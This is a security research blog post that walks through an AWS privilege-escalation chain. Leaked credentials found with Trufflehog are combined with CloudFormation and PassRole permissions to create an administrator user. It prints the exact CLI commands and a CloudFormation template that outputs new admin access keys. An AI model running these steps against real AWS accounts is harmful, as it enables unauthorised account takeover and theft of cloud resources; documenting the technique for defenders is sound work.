How Abusing AWS CloudFormation Led to a Total Takeover of an AWS Environment
Introduction
In a recent research project, I discovered an attack chain that highlighted the importance of securing AWS credentials and the potential consequences of their exposure. To provide a more immersive understanding of this attack chain, I also created a YouTube video demonstrating the entire process. So, if you're a visual learner, be sure to check it out!
In this blog, we will explore the attack chain below.
Obtaining AWS Credentials
My security assessment began with the utilization of a tool called Trufflehog. This nifty tool allowed me to scan through various GitHub repositories in search of sensitive credentials. It was during this exploration that I unearthed a treasure trove—a set of AWS credentials hidden within an old commit that had been deleted.
Upon further investigation, I discovered that these credentials were associated with an IAM role. Intriguingly, this IAM role possessed specific permissions, namely:
- CloudFormation:*
- IAM:PassRole
Privilege Escalation Attack Chain
While possessing individual access to CloudFormation and PassRole permissions may not inherently expose vulnerabilities for privilege escalation, combining these permissions can open the door to potential exploits.
Specifically, when these IAM permissions are coupled with existing administration and execution AWS CloudFormation Roles an attacker can utilize the passrole to create a new IAM user with the permissions of the CloudFormation Role (which in this case was Administrator Access). This is precisely what I discovered in this scenario—the IAM role in question had both CloudFormation and PassRole permissions, setting the stage for a privilege escalation attack. Let's dive into the attack chain and explore the steps involved.
To initiate the attack, I executed the following command using the compromised IAM role:
aws cloudformation create-stack-set --stack-set-name CreateAdminUser --template-body file://createuser.yaml --capabilities CAPABILITY_NAMED_IAM --administration-role-arn arn:aws:iam::657989423626:role/AWSCloudFormationStackSetAdministrationRole --execution-role-name AWSCloudFormationStackSetExecutionRole --profile compromised-user
This command served as the foundation for creating a CloudFormation stack set. It deployed a template named createuser.yaml, with the ultimate objective of creating an admin user with elevated privileges. Allow me to share a snippet of the CloudFormation template used in this attack:
Resources: AdminUser: Type: AWS::IAM::User Properties: UserName: admin-user ManagedPolicyArns: - arn:aws:iam::aws:policy/AdministratorAccess AdminUserAccessKey: Type: AWS::IAM::AccessKey Properties: UserName: !Ref AdminUser Outputs: AccessKey: Value: !Ref AdminUserAccessKey SecretKey: Value: !GetAtt AdminUserAccessKey.SecretAccessKey
Next, I executed the following command:
aws cloudformation create-stack-instances --stack-set-name CreateAdminUser --accounts 657989423626 --regions us-east-1 --profile compromised-user
By executing this command, I created stack instances within the stack set. Specifically, I targeted the AWS account with the ID 657989423626 and the us-east-1 region. Leveraging the compromised user's profile, I aimed to propagate the creation of the admin user across multiple instances.
Finally, I ran the following command to retrieve the AWS credentials:
aws cloudformation describe-stack-instance --stack-set-name CreateAdminUser --stack-instance-account 657989423626 --stack-instance-region us-east-1 --profile compromised-user
The output of this command is below which highlights the creation of the Administrative AWS credentials!
Conclusion
The scenario I encountered serves as a good reminder of the importance of implementing robust security measures within AWS environments. Through the privilege escalation attack chain I've described, an attacker can exploit combined CloudFormation and PassRole permissions, leading to unauthorized access and potential compromise.
If you found this blog post insightful, make sure to subscribe in the top left corner to receive notifications whenever we release new content!